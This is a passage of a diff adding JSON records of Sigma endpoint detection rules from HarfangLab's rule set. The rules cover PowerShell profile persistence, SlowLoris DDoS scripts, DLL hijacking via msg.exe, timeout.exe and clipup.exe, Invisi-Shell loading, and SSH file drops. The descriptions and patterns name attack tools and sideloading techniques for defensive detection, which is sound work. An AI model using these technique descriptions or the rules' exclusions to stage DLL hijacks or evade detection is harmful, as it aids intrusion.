+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-7",
+    "https://attack.mitre.org/techniques/T1546/013/"
+  ],
+  "name": "t1546_013_persistence_powershell_profile.yml",
+  "content": "title: PowerShell Profile Created\nid: 4e92ac72-e71c-4853-84f1-57cb55968cd8\ndescription: |\n    Detects creation of a PowerShell profile.\n    PowerShell profile can be create to customize the user environment and add session-specific elements to every PowerShell session started.\n    Attackers may use this file to establish persistence.\n    It is recommended to investigate the context of this action to determine if the creation of the PowerShell profile is legitimate. It can be useful to use a job to download the PowerShell profile to look for malicious content.\nreferences:\n    - https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-7\n    - https://attack.mitre.org/techniques/T1546/013/\ndate: 2020/09/29\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1546.013\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: filesystem_create\ndetection:\n    selection_host_program:\n        Path|endswith:\n            - '\\Documents\\PowerShell\\\\*_profile.ps1'\n            - '\\Documents\\WindowsPowerShell\\\\*_profile.ps1'\n            - '\\System32\\WindowsPowerShell\\v1.0\\\\*_profile.ps1'\n\n    selection_default:\n        Path|endswith:\n            - '\\Documents\\PowerShell\\profile.ps1'\n            - '\\Documents\\WindowsPowerShell\\profile.ps1'\n            - '\\System32\\WindowsPowerShell\\v1.0\\profile.ps1'\n\n    exclusion_miniconda:\n        ProcessCommandLine|contains|all:\n            - 'miniconda3\\python.exe'\n            - 'miniconda3\\scripts\\conda-script.py init'\n\n    exclusion_anaconda:\n        ProcessCommandLine|contains|all:\n            - '\\anaconda3\\python.exe'\n            - '\\anaconda3\\scripts\\conda-script.py init'\n\n    exclusion_qnap:\n        ProcessImage: '?:\\Program Files (x86)\\QNAP\\Qsync\\Qsync.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'QNAP Systems, Inc.'\n\n    exclusion_setuphost:\n        ProcessImage: '?:\\$WINDOWS.~BT\\Sources\\SetupHost.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    condition: 1 of selection_* and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4e92ac72-e71c-4853-84f1-57cb55968cd8",
+  "rule_name": "PowerShell Profile Created",
+  "rule_description": "Detects creation of a PowerShell profile.\nPowerShell profile can be create to customize the user environment and add session-specific elements to every PowerShell session started.\nAttackers may use this file to establish persistence.\nIt is recommended to investigate the context of this action to determine if the creation of the PowerShell profile is legitimate. It can be useful to use a job to download the PowerShell profile to look for malicious content.\n",
+  "rule_creation_date": "2020-09-29",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1546.013"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4ea564c3-ba6c-41f7-a7e4-a7cea8da78bd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.609659Z",
+  "creation_date": "2026-03-23T11:45:34.609663Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.609670Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.cloudflare.com/learning/ddos/ddos-attack-tools/slowloris/",
+    "https://github.com/maxkrivich/SlowLoris",
+    "https://github.com/StanGirard/SlowLoris-DDOS-Attack",
+    "https://github.com/0xc0d/Slow-Loris",
+    "https://github.com/GHubgenius/slowloris.pl",
+    "https://attack.mitre.org/techniques/T1499/002/"
+  ],
+  "name": "t1498_slowloris_script_execution_windows.yml",
+  "content": "title: SlowLoris Script Execution (Windows)\nid: 4ea564c3-ba6c-41f7-a7e4-a7cea8da78bd\ndescription: |\n    Detects suspicious arguments in a command-line linked to the usage of a SlowLoris DDoS script.\n    SlowLoris is a type of DDoS attack which allows an attacker to overwhelm a server by maintaining multiple HTTP connections.\n    It is recommended to analyze the script parameters to determine the target of the SlowLoris attack and to verify that the script execution is not part of an internal test.\nreferences:\n    - https://www.cloudflare.com/learning/ddos/ddos-attack-tools/slowloris/\n    - https://github.com/maxkrivich/SlowLoris\n    - https://github.com/StanGirard/SlowLoris-DDOS-Attack\n    - https://github.com/0xc0d/Slow-Loris\n    - https://github.com/GHubgenius/slowloris.pl\n    - https://attack.mitre.org/techniques/T1499/002/\ndate: 2023/09/19\nmodified: 2025/03/07\nauthor: HarfangLab\ntags:\n    - attack.impact\n    - attack.t1499.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.HackTool.SlowLoris\n    - classification.Windows.Behavior.NetworkActivity\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        CommandLine|contains:\n            - 'slowloris.pl'\n            - 'slowloris '\n            - 'slowloris.py'\n\n    # There is another rule for cloning\n    filter_github:\n        CommandLine|contains:\n            - ' clone '\n            - 'github'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4ea564c3-ba6c-41f7-a7e4-a7cea8da78bd",
+  "rule_name": "SlowLoris Script Execution (Windows)",
+  "rule_description": "Detects suspicious arguments in a command-line linked to the usage of a SlowLoris DDoS script.\nSlowLoris is a type of DDoS attack which allows an attacker to overwhelm a server by maintaining multiple HTTP connections.\nIt is recommended to analyze the script parameters to determine the target of the SlowLoris attack and to verify that the script execution is not part of an internal test.\n",
+  "rule_creation_date": "2023-09-19",
+  "rule_modified_date": "2025-03-07",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1499.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4eb48a02-5752-4310-8937-54480b3a681e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.081623Z",
+  "creation_date": "2026-03-23T11:45:34.081625Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.081629Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_msg.yml",
+  "content": "title: DLL Hijacking via msg.exe\nid: 4eb48a02-5752-4310-8937-54480b3a681e\ndescription: |\n    Detects potential Windows DLL Hijacking via msg.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'msg.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\WINSTA.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4eb48a02-5752-4310-8937-54480b3a681e",
+  "rule_name": "DLL Hijacking via msg.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via msg.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4ef873a0-9d40-4498-85a3-d1610a041785",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.587899Z",
+  "creation_date": "2026-03-23T11:45:34.587902Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.587910Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://twitter.com/an0n_r0/status/1544472352657915904",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_timeout.yml",
+  "content": "title: DLL Hijacking via timeout.exe\nid: 4ef873a0-9d40-4498-85a3-d1610a041785\ndescription: |\n    Detects potential Windows DLL Hijacking via timeout.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://twitter.com/an0n_r0/status/1544472352657915904\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'timeout.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\version.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Users\\\\*\\AppData\\Roaming\\Zoom\\bin\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4ef873a0-9d40-4498-85a3-d1610a041785",
+  "rule_name": "DLL Hijacking via timeout.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via timeout.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4f0c19f4-076d-45e7-a2fc-983031de6c3b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.082635Z",
+  "creation_date": "2026-03-23T11:45:34.082637Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.082642Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/OmerYa/Invisi-Shell",
+    "https://attack.mitre.org/techniques/T1574/012/"
+  ],
+  "name": "t1574_012_invisishell_dll_loaded.yml",
+  "content": "title: Invisi-Shell DLL Loaded\nid: 4f0c19f4-076d-45e7-a2fc-983031de6c3b\ndescription: |\n    Detects the loading of the Invisi-Shell DLL.\n    Invisi-Shell is a tool allowing attackers, through a COR Profiler and .NET assemblies hooking, to bypass all PowerShell security features including logging, ScriptBlock, AMSI, etc.\n    It is recommended to verify the legitimacy of the loaded DLL and to analyze the execution context to look for malicious actions.\nreferences:\n    - https://github.com/OmerYa/Invisi-Shell\n    - https://attack.mitre.org/techniques/T1574/012/\ndate: 2020/10/11\nmodified: 2025/01/30\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1574.012\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.HackTool.Invisi-Shell\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ImageLoaded|endswith: '\\InvisiShellProfiler.dll'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4f0c19f4-076d-45e7-a2fc-983031de6c3b",
+  "rule_name": "Invisi-Shell DLL Loaded",
+  "rule_description": "Detects the loading of the Invisi-Shell DLL.\nInvisi-Shell is a tool allowing attackers, through a COR Profiler and .NET assemblies hooking, to bypass all PowerShell security features including logging, ScriptBlock, AMSI, etc.\nIt is recommended to verify the legitimacy of the loaded DLL and to analyze the execution context to look for malicious actions.\n",
+  "rule_creation_date": "2020-10-11",
+  "rule_modified_date": "2025-01-30",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.012"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4f4d048d-3d6e-4acf-8523-692f7e0619b4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.619152Z",
+  "creation_date": "2026-03-23T11:45:34.619154Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.619159Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_clipup.yml",
+  "content": "title: DLL Hijacking via clipup.exe\nid: 4f4d048d-3d6e-4acf-8523-692f7e0619b4\ndescription: |\n    Detects potential Windows DLL Hijacking via clipup.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'clipup.exe'\n        ProcessSignature: 'Microsoft Windows Publisher'\n        ImageLoaded|endswith:\n            - '\\CRYPTXML.dll'\n            - '\\webservices.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4f4d048d-3d6e-4acf-8523-692f7e0619b4",
+  "rule_name": "DLL Hijacking via clipup.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via clipup.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4f7f72d0-446d-4b85-9c35-0feebc738c90",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.613050Z",
+  "creation_date": "2026-03-23T11:45:34.613053Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.613061Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1105/",
+    "https://attack.mitre.org/techniques/T1133/",
+    "https://attack.mitre.org/techniques/T1021/004/"
+  ],
+  "name": "t1105_remote_file_copied_to_suspicious_path_via_ssh.yml",
+  "content": "title: Remote File Copied via SSH to Suspicious Directory\nid: 4f7f72d0-446d-4b85-9c35-0feebc738c90\ndescription: |\n    Detects the copy of a file to a suspicious or unusual directory from a remote host using SSH or one of its utilities (like scp).\n    Adversaries may transfer tools or other files from an external system into a compromised environment as part of their malicious activity.\n    It is recommended to investigate the context of this action to determine its legitimacy and to ensure that the file copy is legitimate.\nreferences:\n    - https://attack.mitre.org/techniques/T1105/\n    - https://attack.mitre.org/techniques/T1133/\n    - https://attack.mitre.org/techniques/T1021/004/\ndate: 2024/02/26\nmodified: 2025/06/05\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1105\n    - attack.persistence\n    - attack.initial_access\n    - attack.t1133\n    - attack.lateral_movement\n    - attack.t1021.004\n    - classification.Linux.Source.Filesystem\n    - classification.Linux.Behavior.Lateralization\nlogsource:\n    category: filesystem_event\n    product: linux\ndetection:\n    selection_process:\n        ProcessImage|endswith: '/sftp-server'\n\n    selection_write:\n        Kind: 'access'\n        Permissions: 'write'\n\n    selection_path:\n        # NOTE: `/opt/` and `/usr/share` were left out becase of an unmanageable amount\n        # of custom scripts that update assets to those directories.\n        Path|startswith:\n            - '/bin/'\n            - '/sbin/'\n            - '/usr/bin/'\n            - '/usr/sbin/'\n            - '/usr/local/'\n            - '/lib/'\n            - '/lib64/'\n            - '/usr/lib/'\n            - '/usr/lib64/'\n            - '/usr/libexec/'\n            - '/usr/share/'\n            - '/snap/'\n            - '/tmp/'\n            - '/var/tmp/'\n\n    # Avoids false positives when updating the resources or assets of services\n    exclusion_filetype:\n        Path|endswith:\n            - '.txt'\n            - '.txt.filepart'\n            - '.png'\n            - '.png.filepart'\n            - '.jpg'\n            - '.jpg.filepart'\n            - '.jpeg'\n            - '.jpeg.filepart'\n            - '.pdf'\n            - '.pdf.filepart'\n            - '.csv'\n            - '.csv.filepart'\n            - '.xml'\n            - '.xml.filepart'\n            - '.svg'\n            - '.svg.filepart'\n            - '.ttf'\n            - '.ttf.filepart'\n            - '.ico'\n            - '.ico.filepart'\n            - '.sql'\n\n    # Avoids false positives when updating a website's content\n    exclusion_website:\n        Path|contains:\n            - '/nodejs/'\n            - '/node_modules/'\n            - '/vendor/'\n            - '/locale/'\n            - '/assets/'\n            - '/application/'\n            - '/docs/'\n            - '/templates/'\n\n    exclusion_ansible:\n        Path|contains:\n            - '/ansible-tmp-*/*.py'\n            - '/ansible-tmp-*/source'\n            - '/.ansible-tmp-*/*.py'\n            - '/.ansible-tmp-*/source'\n\n    exclusion_sudo_bootstrap:\n        Path: '/tmp/.sudo_bootstrap????????-????-????-????-????????????.sh'\n\n    exclusion_veeam:\n        Path:\n            - '/tmp/VeeamApp*'\n            - '/tmp/VeeamAgent*'\n            - '/tmp/vee????????-????-????-????-????????????/.veeamlib.tar'\n\n    exclusion_alfresco:\n        Path|startswith:\n            - '/tmp/recup-ipar-alf/acs/alfresco-content-services-community-distribution-*/alf_data/contentstore/'\n            - '/var/tmp/recup-ipar-alf/acs/alfresco-content-services-community-distribution-*/alf_data/contentstore/'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4f7f72d0-446d-4b85-9c35-0feebc738c90",
+  "rule_name": "Remote File Copied via SSH to Suspicious Directory",
+  "rule_description": "Detects the copy of a file to a suspicious or unusual directory from a remote host using SSH or one of its utilities (like scp).\nAdversaries may transfer tools or other files from an external system into a compromised environment as part of their malicious activity.\nIt is recommended to investigate the context of this action to determine its legitimacy and to ensure that the file copy is legitimate.\n",
+  "rule_creation_date": "2024-02-26",
+  "rule_modified_date": "2025-06-05",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.initial_access",
+    "attack.lateral_movement",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.004",
+    "attack.t1105",
+    "attack.t1133"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4f8964a4-5740-479c-8358-30799f2df2d6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.611786Z",
+  "creation_date": "2026-03-23T11:45:34.611790Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.611797Z",
+  "rule_level": "medium",
